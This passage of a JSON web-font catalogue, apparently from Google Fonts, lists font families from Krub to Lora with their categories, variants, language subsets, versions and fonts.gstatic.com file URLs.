"http://fonts.gstatic.com/s/krub/v3/sZlLdRyC6CRYXkYQDLlTW6E.ttf", "italic": "http://fonts.gstatic.com/s/krub/v3/sZlFdRyC6CRYbkQaCJtWS6EPcA.ttf", "500italic": "http://fonts.gstatic.com/s/krub/v3/sZlGdRyC6CRYbkQi_LJyQ4oTef_6gQ.ttf", "600italic": "http://fonts.gstatic.com/s/krub/v3/sZlGdRyC6CRYbkQi0LVyQ4oTef_6gQ.ttf", "700italic": "http://fonts.gstatic.com/s/krub/v3/sZlGdRyC6CRYbkQitLRyQ4oTef_6gQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Kulim Park", "category": "sans-serif", "variants": [ "200", "200italic", "300", "300italic", "regular", "italic", "600", "600italic", "700", "700italic" ], "subsets": [ "latin", "latin-ext" ], "version": "v1", "lastModified": "2020-03-03", "files": { "200": "http://fonts.gstatic.com/s/kulimpark/v1/fdN49secq3hflz1Uu3IwjJYNwa5aZbUvGjU.ttf", "300": "http://fonts.gstatic.com/s/kulimpark/v1/fdN49secq3hflz1Uu3IwjPIOwa5aZbUvGjU.ttf", "600": "http://fonts.gstatic.com/s/kulimpark/v1/fdN49secq3hflz1Uu3IwjIYIwa5aZbUvGjU.ttf", "700": "http://fonts.gstatic.com/s/kulimpark/v1/fdN49secq3hflz1Uu3IwjOIJwa5aZbUvGjU.ttf", "200italic": "http://fonts.gstatic.com/s/kulimpark/v1/fdNm9secq3hflz1Uu3IwhFwUKa9QYZcqCjVVUA.ttf", "300italic": "http://fonts.gstatic.com/s/kulimpark/v1/fdNm9secq3hflz1Uu3IwhFwUTaxQYZcqCjVVUA.ttf", "regular": "http://fonts.gstatic.com/s/kulimpark/v1/fdN79secq3hflz1Uu3IwtF4m5aZxebw.ttf", "italic": "http://fonts.gstatic.com/s/kulimpark/v1/fdN59secq3hflz1Uu3IwhFws4YR0abw2Aw.ttf", "600italic": "http://fonts.gstatic.com/s/kulimpark/v1/fdNm9secq3hflz1Uu3IwhFwUOapQYZcqCjVVUA.ttf", "700italic": "http://fonts.gstatic.com/s/kulimpark/v1/fdNm9secq3hflz1Uu3IwhFwUXatQYZcqCjVVUA.ttf" } }, { "kind": "webfonts#webfont", "family": "Kumar One", "category": "display", "variants": [ "regular" ], "subsets": [ "gujarati", "latin", "latin-ext" ], "version": "v4", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/kumarone/v4/bMr1mS-P958wYi6YaGeGNO6WU3oT0g.ttf" } }, { "kind": "webfonts#webfont", "family": "Kumar One Outline", "category": "display", "variants": [ "regular" ], "subsets": [ "gujarati", "latin", "latin-ext" ], "version": "v5", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/kumaroneoutline/v5/Noao6VH62pyLP0fsrZ-v18wlUEcX9zDwRQu8EGKF.ttf" } }, { "kind": "webfonts#webfont", "family": "Kurale", "category": "serif", "variants": [ "regular" ], "subsets": [ "cyrillic", "cyrillic-ext", "devanagari", "latin", "latin-ext" ], "version": "v5", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/kurale/v5/4iCs6KV9e9dXjho6eAT3v02QFg.ttf" } }, { "kind": "webfonts#webfont", "family": "La Belle Aurore", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/labelleaurore/v10/RrQIbot8-mNYKnGNDkWlocovHeIIG-eFNVmULg.ttf" } }, { "kind": "webfonts#webfont", "family": "Lacquer", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v2", "lastModified": "2020-03-06", "files": { "regular": "http://fonts.gstatic.com/s/lacquer/v2/EYqzma1QwqpG4_BBB7-AXhttQ5I.ttf" } }, { "kind": "webfonts#webfont", "family": "Laila", "category": "serif", "variants": [ "300", "regular", "500", "600", "700" ], "subsets": [ "devanagari", "latin", "latin-ext" ], "version": "v6", "lastModified": "2019-07-16", "files": { "300": "http://fonts.gstatic.com/s/laila/v6/LYjBdG_8nE8jDLzxogNAh14nVcfe.ttf", "500": "http://fonts.gstatic.com/s/laila/v6/LYjBdG_8nE8jDLypowNAh14nVcfe.ttf", "600": "http://fonts.gstatic.com/s/laila/v6/LYjBdG_8nE8jDLyFpANAh14nVcfe.ttf", "700": "http://fonts.gstatic.com/s/laila/v6/LYjBdG_8nE8jDLzhpQNAh14nVcfe.ttf", "regular": "http://fonts.gstatic.com/s/laila/v6/LYjMdG_8nE8jDIRdiidIrEIu.ttf" } }, { "kind": "webfonts#webfont", "family": "Lakki Reddy", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin", "telugu" ], "version": "v6", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/lakkireddy/v6/S6u5w49MUSzD9jlCPmvLZQfox9k97-xZ.ttf" } }, { "kind": "webfonts#webfont", "family": "Lalezar", "category": "display", "variants": [ "regular" ], "subsets": [ "arabic", "latin", "latin-ext", "vietnamese" ], "version": "v6", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/lalezar/v6/zrfl0HLVx-HwTP82UaDyIiL0RCg.ttf" } }, { "kind": "webfonts#webfont", "family": "Lancelot", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/lancelot/v9/J7acnppxBGtQEulG4JY4xJ9CGyAa.ttf" } }, { "kind": "webfonts#webfont", "family": "Lateef", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "arabic", "latin" ], "version": "v15", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/lateef/v15/hESw6XVnNCxEvkbMpheEZo_H_w.ttf" } }, { "kind": "webfonts#webfont", "family": "Lato", "category": "sans-serif", "variants": [ "100", "100italic", "300", "300italic", "regular", "italic", "700", "700italic", "900", "900italic" ], "subsets": [ "latin", "latin-ext" ], "version": "v16", "lastModified": "2019-07-23", "files": { "100": "http://fonts.gstatic.com/s/lato/v16/S6u8w4BMUTPHh30wWyWrFCbw7A.ttf", "300": "http://fonts.gstatic.com/s/lato/v16/S6u9w4BMUTPHh7USew-FGC_p9dw.ttf", "700": "http://fonts.gstatic.com/s/lato/v16/S6u9w4BMUTPHh6UVew-FGC_p9dw.ttf", "900": "http://fonts.gstatic.com/s/lato/v16/S6u9w4BMUTPHh50Xew-FGC_p9dw.ttf", "100italic": "http://fonts.gstatic.com/s/lato/v16/S6u-w4BMUTPHjxsIPy-vNiPg7MU0.ttf", "300italic": "http://fonts.gstatic.com/s/lato/v16/S6u_w4BMUTPHjxsI9w2PHA3s5dwt7w.ttf", "regular": "http://fonts.gstatic.com/s/lato/v16/S6uyw4BMUTPHvxk6XweuBCY.ttf", "italic": "http://fonts.gstatic.com/s/lato/v16/S6u8w4BMUTPHjxswWyWrFCbw7A.ttf", "700italic": "http://fonts.gstatic.com/s/lato/v16/S6u_w4BMUTPHjxsI5wqPHA3s5dwt7w.ttf", "900italic": "http://fonts.gstatic.com/s/lato/v16/S6u_w4BMUTPHjxsI3wiPHA3s5dwt7w.ttf" } }, { "kind": "webfonts#webfont", "family": "League Script", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v11", "lastModified": "2019-07-26", "files": { "regular": "http://fonts.gstatic.com/s/leaguescript/v11/CSR54zpSlumSWj9CGVsoBZdeaNNUuOwkC2s.ttf" } }, { "kind": "webfonts#webfont", "family": "Leckerli One", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/leckerlione/v10/V8mCoQH8VCsNttEnxnGQ-1itLZxcBtItFw.ttf" } }, { "kind": "webfonts#webfont", "family": "Ledger", "category": "serif", "variants": [ "regular" ], "subsets": [ "cyrillic", "latin", "latin-ext" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/ledger/v7/j8_q6-HK1L3if_sxm8DwHTBhHw.ttf" } }, { "kind": "webfonts#webfont", "family": "Lekton", "category": "sans-serif", "variants": [ "regular", "italic", "700" ], "subsets": [ "latin", "latin-ext" ], "version": "v10", "lastModified": "2019-07-16", "files": { "700": "http://fonts.gstatic.com/s/lekton/v10/SZc73FDmLaWmWpBm4zjMlWjX4DJXgQ.ttf", "regular": "http://fonts.gstatic.com/s/lekton/v10/SZc43FDmLaWmWpBeXxfonUPL6Q.ttf", "italic": "http://fonts.gstatic.com/s/lekton/v10/SZc63FDmLaWmWpBuXR3sv0bb6StO.ttf" } }, { "kind": "webfonts#webfont", "family": "Lemon", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/lemon/v8/HI_EiYEVKqRMq0jBSZXAQ4-d.ttf" } }, { "kind": "webfonts#webfont", "family": "Lemonada", "category": "display", "variants": [ "300", "regular", "500", "600", "700" ], "subsets": [ "arabic", "latin", "latin-ext", "vietnamese" ], "version": "v9", "lastModified": "2020-02-05", "files": { "300": "http://fonts.gstatic.com/s/lemonada/v9/0QI-MXFD9oygTWy_R-FFlwV-bgfR7QJGJOt2mfWc3Z2pTg.ttf", "500": "http://fonts.gstatic.com/s/lemonada/v9/0QI-MXFD9oygTWy_R-FFlwV-bgfR7QJGSOt2mfWc3Z2pTg.ttf", "600": "http://fonts.gstatic.com/s/lemonada/v9/0QI-MXFD9oygTWy_R-FFlwV-bgfR7QJGpOx2mfWc3Z2pTg.ttf", "700": "http://fonts.gstatic.com/s/lemonada/v9/0QI-MXFD9oygTWy_R-FFlwV-bgfR7QJGnex2mfWc3Z2pTg.ttf", "regular": "http://fonts.gstatic.com/s/lemonada/v9/0QI-MXFD9oygTWy_R-FFlwV-bgfR7QJGeut2mfWc3Z2pTg.ttf" } }, { "kind": "webfonts#webfont", "family": "Lexend Deca", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext", "vietnamese" ], "version": "v1", "lastModified": "2020-03-03", "files": { "regular": "http://fonts.gstatic.com/s/lexenddeca/v1/K2F1fZFYk-dHSE0UPPuwQ6qgLS76ZHOM.ttf" } }, { "kind": "webfonts#webfont", "family": "Lexend Exa", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext", "vietnamese" ], "version": "v1", "lastModified": "2020-03-03", "files": { "regular": "http://fonts.gstatic.com/s/lexendexa/v1/UMBXrPdOoHOnxExyjdBeWirXArM58BY.ttf" } }, { "kind": "webfonts#webfont", "family": "Lexend Giga", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext", "vietnamese" ], "version": "v1", "lastModified": "2020-03-03", "files": { "regular": "http://fonts.gstatic.com/s/lexendgiga/v1/PlI5Fl67Mah5Y8yMHE7lkVxEt8CwfGaD.ttf" } }, { "kind": "webfonts#webfont", "family": "Lexend Mega", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext", "vietnamese" ], "version": "v1", "lastModified": "2020-03-03", "files": { "regular": "http://fonts.gstatic.com/s/lexendmega/v1/qFdA35aBi5JtHD41zSTFEv7K6BsAikI7.ttf" } }, { "kind": "webfonts#webfont", "family": "Lexend Peta", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext", "vietnamese" ], "version": "v1", "lastModified": "2020-03-03", "files": { "regular": "http://fonts.gstatic.com/s/lexendpeta/v1/BXRvvFPGjeLPh0kCfI4OkE_1c8Tf1IW3.ttf" } }, { "kind": "webfonts#webfont", "family": "Lexend Tera", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext", "vietnamese" ], "version": "v1", "lastModified": "2020-03-03", "files": { "regular": "http://fonts.gstatic.com/s/lexendtera/v1/RrQUbo98_jt_IXnBPwCWtZhARYMgGtWA.ttf" } }, { "kind": "webfonts#webfont", "family": "Lexend Zetta", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext", "vietnamese" ], "version": "v1", "lastModified": "2020-03-03", "files": { "regular": "http://fonts.gstatic.com/s/lexendzetta/v1/ll87K2KYXje7CdOFnEWcU8soliQejRR7AQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Libre Barcode 128", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2020-03-03", "files": { "regular": "http://fonts.gstatic.com/s/librebarcode128/v9/cIfnMbdUsUoiW3O_hVviCwVjuLtXeJ_A_gMk0izH.ttf" } }, { "kind": "webfonts#webfont", "family": "Libre Barcode 128 Text", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2020-03-03", "files": { "regular": "http://fonts.gstatic.com/s/librebarcode128text/v9/fdNv9tubt3ZEnz1Gu3I4-zppwZ9CWZ16Z0w5cV3Y6M90w4k.ttf" } }, { "kind": "webfonts#webfont", "family": "Libre Barcode 39", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2020-03-03", "files": { "regular": "http://fonts.gstatic.com/s/librebarcode39/v9/-nFnOHM08vwC6h8Li1eQnP_AHzI2K_d709jy92k.ttf" } }, { "kind": "webfonts#webfont", "family": "Libre Barcode 39 Extended", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v8", "lastModified": "2020-03-03", "files": { "regular": "http://fonts.gstatic.com/s/librebarcode39extended/v8/8At7Gt6_O5yNS0-K4Nf5U922qSzhJ3dUdfJpwNUgfNRCOZ1GOBw.ttf" } }, { "kind": "webfonts#webfont", "family": "Libre Barcode 39 Extended Text", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v8", "lastModified": "2020-03-03", "files": { "regular": "http://fonts.gstatic.com/s/librebarcode39extendedtext/v8/eLG1P_rwIgOiDA7yrs9LoKaYRVLQ1YldrrOnnL7xPO4jNP68fLIiPopNNA.ttf" } }, { "kind": "webfonts#webfont", "family": "Libre Barcode 39 Text", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2020-03-03", "files": { "regular": "http://fonts.gstatic.com/s/librebarcode39text/v9/sJoa3KhViNKANw_E3LwoDXvs5Un0HQ1vT-031RRL-9rYaw.ttf" } }, { "kind": "webfonts#webfont", "family": "Libre Baskerville", "category": "serif", "variants": [ "regular", "italic", "700" ], "subsets": [ "latin", "latin-ext" ], "version": "v7", "lastModified": "2019-07-22", "files": { "700": "http://fonts.gstatic.com/s/librebaskerville/v7/kmKiZrc3Hgbbcjq75U4uslyuy4kn0qviTjYwI8Gcw6Oi.ttf", "regular": "http://fonts.gstatic.com/s/librebaskerville/v7/kmKnZrc3Hgbbcjq75U4uslyuy4kn0pNeYRI4CN2V.ttf", "italic": "http://fonts.gstatic.com/s/librebaskerville/v7/kmKhZrc3Hgbbcjq75U4uslyuy4kn0qNcaxYaDc2V2ro.ttf" } }, { "kind": "webfonts#webfont", "family": "Libre Caslon Display", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v1", "lastModified": "2020-03-03", "files": { "regular": "http://fonts.gstatic.com/s/librecaslondisplay/v1/TuGOUUFxWphYQ6YI6q9Xp61FQzxDRKmzr2lRdRhtCC4d.ttf" } }, { "kind": "webfonts#webfont", "family": "Libre Caslon Text", "category": "serif", "variants": [ "regular", "italic", "700" ], "subsets": [ "latin", "latin-ext" ], "version": "v1", "lastModified": "2020-03-03", "files": { "700": "http://fonts.gstatic.com/s/librecaslontext/v1/DdT578IGsGw1aF1JU10PUbTvNNaDMfID8sdjNR-8ssPt.ttf", "regular": "http://fonts.gstatic.com/s/librecaslontext/v1/DdT878IGsGw1aF1JU10PUbTvNNaDMcq_3eNrHgO1.ttf", "italic": "http://fonts.gstatic.com/s/librecaslontext/v1/DdT678IGsGw1aF1JU10PUbTvNNaDMfq91-dJGxO1q9o.ttf" } }, { "kind": "webfonts#webfont", "family": "Libre Franklin", "category": "sans-serif", "variants": [ "100", "100italic", "200", "200italic", "300", "300italic", "regular", "italic", "500", "500italic", "600", "600italic", "700", "700italic", "800", "800italic", "900", "900italic" ], "subsets": [ "latin", "latin-ext" ], "version": "v4", "lastModified": "2019-07-22", "files": { "100": "http://fonts.gstatic.com/s/librefranklin/v4/jizBREVItHgc8qDIbSTKq4XkRi182zIZj1bIkNo.ttf", "200": "http://fonts.gstatic.com/s/librefranklin/v4/jizAREVItHgc8qDIbSTKq4XkRi3Q-hIzoVrBicOg.ttf", "300": "http://fonts.gstatic.com/s/librefranklin/v4/jizAREVItHgc8qDIbSTKq4XkRi20-RIzoVrBicOg.ttf", "500": "http://fonts.gstatic.com/s/librefranklin/v4/jizAREVItHgc8qDIbSTKq4XkRi3s-BIzoVrBicOg.ttf", "600": "http://fonts.gstatic.com/s/librefranklin/v4/jizAREVItHgc8qDIbSTKq4XkRi3A_xIzoVrBicOg.ttf", "700": "http://fonts.gstatic.com/s/librefranklin/v4/jizAREVItHgc8qDIbSTKq4XkRi2k_hIzoVrBicOg.ttf", "800": "http://fonts.gstatic.com/s/librefranklin/v4/jizAREVItHgc8qDIbSTKq4XkRi24_RIzoVrBicOg.ttf", "900": "http://fonts.gstatic.com/s/librefranklin/v4/jizAREVItHgc8qDIbSTKq4XkRi2c_BIzoVrBicOg.ttf", "100italic": "http://fonts.gstatic.com/s/librefranklin/v4/jizHREVItHgc8qDIbSTKq4XkRiUa41YTi3TNgNq55w.ttf", "200italic": "http://fonts.gstatic.com/s/librefranklin/v4/jizGREVItHgc8qDIbSTKq4XkRiUa4_oyq17jjNOg_oc.ttf", "300italic": "http://fonts.gstatic.com/s/librefranklin/v4/jizGREVItHgc8qDIbSTKq4XkRiUa454xq17jjNOg_oc.ttf", "regular": "http://fonts.gstatic.com/s/librefranklin/v4/jizDREVItHgc8qDIbSTKq4XkRhUY0TY7ikbI.ttf", "italic": "http://fonts.gstatic.com/s/librefranklin/v4/jizBREVItHgc8qDIbSTKq4XkRiUa2zIZj1bIkNo.ttf", "500italic": "http://fonts.gstatic.com/s/librefranklin/v4/jizGREVItHgc8qDIbSTKq4XkRiUa48Ywq17jjNOg_oc.ttf", "600italic": "http://fonts.gstatic.com/s/librefranklin/v4/jizGREVItHgc8qDIbSTKq4XkRiUa4-o3q17jjNOg_oc.ttf", "700italic": "http://fonts.gstatic.com/s/librefranklin/v4/jizGREVItHgc8qDIbSTKq4XkRiUa4442q17jjNOg_oc.ttf", "800italic": "http://fonts.gstatic.com/s/librefranklin/v4/jizGREVItHgc8qDIbSTKq4XkRiUa45I1q17jjNOg_oc.ttf", "900italic": "http://fonts.gstatic.com/s/librefranklin/v4/jizGREVItHgc8qDIbSTKq4XkRiUa47Y0q17jjNOg_oc.ttf" } }, { "kind": "webfonts#webfont", "family": "Life Savers", "category": "display", "variants": [ "regular", "700", "800" ], "subsets": [ "latin", "latin-ext" ], "version": "v10", "lastModified": "2019-07-16", "files": { "700": "http://fonts.gstatic.com/s/lifesavers/v10/ZXu_e1UftKKabUQMgxAal8HXOS5Tk8fIpPRW.ttf", "800": "http://fonts.gstatic.com/s/lifesavers/v10/ZXu_e1UftKKabUQMgxAal8HLOi5Tk8fIpPRW.ttf", "regular": "http://fonts.gstatic.com/s/lifesavers/v10/ZXuie1UftKKabUQMgxAal_lrFgpbuNvB.ttf" } }, { "kind": "webfonts#webfont", "family": "Lilita One", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/lilitaone/v7/i7dPIFZ9Zz-WBtRtedDbUEZ2RFq7AwU.ttf" } }, { "kind": "webfonts#webfont", "family": "Lily Script One", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/lilyscriptone/v7/LhW9MV7ZMfIPdMxeBjBvFN8SXLS4gsSjQNsRMg.ttf" } }, { "kind": "webfonts#webfont", "family": "Limelight", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/limelight/v10/XLYkIZL7aopJVbZJHDuYPeNGrnY2TA.ttf" } }, { "kind": "webfonts#webfont", "family": "Linden Hill", "category": "serif", "variants": [ "regular", "italic" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/lindenhill/v9/-F61fjxoKSg9Yc3hZgO8ygFI7CwC009k.ttf", "italic": "http://fonts.gstatic.com/s/lindenhill/v9/-F63fjxoKSg9Yc3hZgO8yjFK5igg1l9kn-s.ttf" } }, { "kind": "webfonts#webfont", "family": "Literata", "category": "serif", "variants": [ "regular", "500", "600", "700", "italic", "500italic", "600italic", "700italic" ], "subsets": [ "cyrillic", "greek", "greek-ext", "latin", "latin-ext", "vietnamese" ], "version": "v15", "lastModified": "2020-04-21", "files": { "500": "http://fonts.gstatic.com/s/literata/v15/or38Q6P12-iJxAIgLa78DkTtAoDhk0oVl6LVa5RXzC1KOw.ttf", "600": "http://fonts.gstatic.com/s/literata/v15/or38Q6P12-iJxAIgLa78DkTtAoDhk0oVe6XVa5RXzC1KOw.ttf", "700": "http://fonts.gstatic.com/s/literata/v15/or38Q6P12-iJxAIgLa78DkTtAoDhk0oVQqXVa5RXzC1KOw.ttf", "regular": "http://fonts.gstatic.com/s/literata/v15/or38Q6P12-iJxAIgLa78DkTtAoDhk0oVpaLVa5RXzC1KOw.ttf", "italic": "http://fonts.gstatic.com/s/literata/v15/or3yQ6P12-iJxAIgLYT1PLs1a-t7PU0AbeE9KJ5T7ihaO_CS.ttf", "500italic": "http://fonts.gstatic.com/s/literata/v15/or3yQ6P12-iJxAIgLYT1PLs1a-t7PU0AbeEPKJ5T7ihaO_CS.ttf", "600italic": "http://fonts.gstatic.com/s/literata/v15/or3yQ6P12-iJxAIgLYT1PLs1a-t7PU0AbeHjL55T7ihaO_CS.ttf", "700italic": "http://fonts.gstatic.com/s/literata/v15/or3yQ6P12-iJxAIgLYT1PLs1a-t7PU0AbeHaL55T7ihaO_CS.ttf" } }, { "kind": "webfonts#webfont", "family": "Liu Jian Mao Cao", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "chinese-simplified", "latin" ], "version": "v5", "lastModified": "2019-11-05", "files": { "regular": "http://fonts.gstatic.com/s/liujianmaocao/v5/845DNN84HJrccNonurqXILGpvCOoferVKGWsUo8.ttf" } }, { "kind": "webfonts#webfont", "family": "Livvic", "category": "sans-serif", "variants": [ "100", "100italic", "200", "200italic", "300", "300italic", "regular", "italic", "500", "500italic", "600", "600italic", "700", "700italic", "900", "900italic" ], "subsets": [ "latin", "latin-ext", "vietnamese" ], "version": "v3", "lastModified": "2019-11-05", "files": { "100": "http://fonts.gstatic.com/s/livvic/v3/rnCr-x1S2hzjrlffC-M-mHnOSOuk.ttf", "200": "http://fonts.gstatic.com/s/livvic/v3/rnCq-x1S2hzjrlffp8IeslfCQfK9WQ.ttf", "300": "http://fonts.gstatic.com/s/livvic/v3/rnCq-x1S2hzjrlffw8EeslfCQfK9WQ.ttf", "500": "http://fonts.gstatic.com/s/livvic/v3/rnCq-x1S2hzjrlffm8AeslfCQfK9WQ.ttf", "600": "http://fonts.gstatic.com/s/livvic/v3/rnCq-x1S2hzjrlfft8ceslfCQfK9WQ.ttf", "700": "http://fonts.gstatic.com/s/livvic/v3/rnCq-x1S2hzjrlff08YeslfCQfK9WQ.ttf", "900": "http://fonts.gstatic.com/s/livvic/v3/rnCq-x1S2hzjrlff68QeslfCQfK9WQ.ttf", "100italic": "http://fonts.gstatic.com/s/livvic/v3/rnCt-x1S2hzjrlfXbdtakn3sTfukQHs.ttf", "200italic": "http://fonts.gstatic.com/s/livvic/v3/rnCs-x1S2hzjrlfXbdv2s13GY_etWWIJ.ttf", "300italic": "http://fonts.gstatic.com/s/livvic/v3/rnCs-x1S2hzjrlfXbduSsF3GY_etWWIJ.ttf", "regular": "http://fonts.gstatic.com/s/livvic/v3/rnCp-x1S2hzjrlfnb-k6unzeSA.ttf", "italic": "http://fonts.gstatic.com/s/livvic/v3/rnCr-x1S2hzjrlfXbeM-mHnOSOuk.ttf", "500italic": "http://fonts.gstatic.com/s/livvic/v3/rnCs-x1S2hzjrlfXbdvKsV3GY_etWWIJ.ttf", "600italic": "http://fonts.gstatic.com/s/livvic/v3/rnCs-x1S2hzjrlfXbdvmtl3GY_etWWIJ.ttf", "700italic": "http://fonts.gstatic.com/s/livvic/v3/rnCs-x1S2hzjrlfXbduCt13GY_etWWIJ.ttf", "900italic": "http://fonts.gstatic.com/s/livvic/v3/rnCs-x1S2hzjrlfXbdu6tV3GY_etWWIJ.ttf" } }, { "kind": "webfonts#webfont", "family": "Lobster", "category": "display", "variants": [ "regular" ], "subsets": [ "cyrillic", "cyrillic-ext", "latin", "latin-ext", "vietnamese" ], "version": "v22", "lastModified": "2019-07-17", "files": { "regular": "http://fonts.gstatic.com/s/lobster/v22/neILzCirqoswsqX9_oWsMqEzSJQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Lobster Two", "category": "display", "variants": [ "regular", "italic", "700", "700italic" ], "subsets": [ "latin" ], "version": "v12", "lastModified": "2019-07-16", "files": { "700": "http://fonts.gstatic.com/s/lobstertwo/v12/BngRUXZGTXPUvIoyV6yN5-92w4CByxyKeuDp.ttf", "regular": "http://fonts.gstatic.com/s/lobstertwo/v12/BngMUXZGTXPUvIoyV6yN59fK7KSJ4ACD.ttf", "italic": "http://fonts.gstatic.com/s/lobstertwo/v12/BngOUXZGTXPUvIoyV6yN5-fI5qCr5RCDY_k.ttf", "700italic": "http://fonts.gstatic.com/s/lobstertwo/v12/BngTUXZGTXPUvIoyV6yN5-fI3hyEwRiof_DpXMY.ttf" } }, { "kind": "webfonts#webfont", "family": "Londrina Outline", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/londrinaoutline/v10/C8c44dM8vmb14dfsZxhetg3pDH-SfuoxrSKMDvI.ttf" } }, { "kind": "webfonts#webfont", "family": "Londrina Shadow", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/londrinashadow/v9/oPWX_kB4kOQoWNJmjxLV5JuoCUlXRlaSxkrMCQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Londrina Sketch", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/londrinasketch/v8/c4m41npxGMTnomOHtRU68eIJn8qfWWn5Pos6CA.ttf" } }, { "kind": "webfonts#webfont", "family": "Londrina Solid", "category": "display", "variants": [ "100", "300", "regular", "900" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "100": "http://fonts.gstatic.com/s/londrinasolid/v9/flUjRq6sw40kQEJxWNgkLuudGfs9KBYesZHhV64.ttf", "300": "http://fonts.gstatic.com/s/londrinasolid/v9/flUiRq6sw40kQEJxWNgkLuudGfv1CjY0n53oTrcL.ttf", "900": "http://fonts.gstatic.com/s/londrinasolid/v9/flUiRq6sw40kQEJxWNgkLuudGfvdDzY0n53oTrcL.ttf", "regular": "http://fonts.gstatic.com/s/londrinasolid/v9/flUhRq6sw40kQEJxWNgkLuudGcNZIhI8tIHh.ttf" } }, { "kind": "webfonts#webfont", "family": "Long Cang", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "chinese-simplified", "latin" ], "version": "v5", "lastModified": "2019-11-05", "files": { "regular": "http://fonts.gstatic.com/s/longcang/v5/LYjAdGP8kkgoTec8zkRgrXArXN7HWQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Lora", "category": "serif", "variants": [ "regular", "500", "600", "700", "italic", "500italic", "600italic", "700italic" ], "subsets": [ "cyrillic", "cyrillic-ext", "latin", "latin-ext", "vietnamese" ], "version": "v15", "lastModified": "2020-03-20", "files": { "500": "http://fonts.gstatic.com/s/lora/v15/0QI6MX1D_JOuGQbT0gvTJPa787wsuyJGmKxemMeZ.ttf", "600": "http://fonts.gstatic.com/s/lora/v15/0QI6MX1D_JOuGQbT0gvTJPa787zAvCJGmKxemMeZ.ttf", "700": "http://fonts.gstatic.com/s/lora/v15/0QI6MX1D_JOuGQbT0gvTJPa787z5vCJGmKxemMeZ.ttf", "regular": "http://fonts.gstatic.com/s/lora/v15/0QI6MX1D_JOuGQbT0gvTJPa787weuyJGmKxemMeZ.ttf", "italic": "http://fonts.gstatic.com/s/lora/v15/0QI8MX1D_JOuMw_hLdO6T2wV9KnW-MoFkqh8ndeZzZ0.ttf", "500italic": "http://fonts.gstatic.com/s/lora/v15/0QI8MX1D_JOuMw_hLdO6T2wV9KnW-PgFkqh8ndeZzZ0.ttf", "600italic": "http://fonts.gstatic.com/s/lora/v15/0QI8MX1D_JOuMw_hLdO6T2wV9KnW-BQCkqh8ndeZzZ0.ttf", "700italic": "http://fonts.gstatic.com/s/lora/v15/0QI8MX1D_JOuMw_hLdO6T2wV9KnW-C0Ckqh8ndeZzZ0.ttf" } }, { "kind": "webfonts#webfont", "family": "Love Ya Like A Sister", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/loveyalikeasister/v10/R70EjzUBlOqPeouhFDfR80-0FhOqJubN-Be78nZcsGGycA.ttf" } }, { "kind": "webfonts#webfont", "family": "Loved by the King", 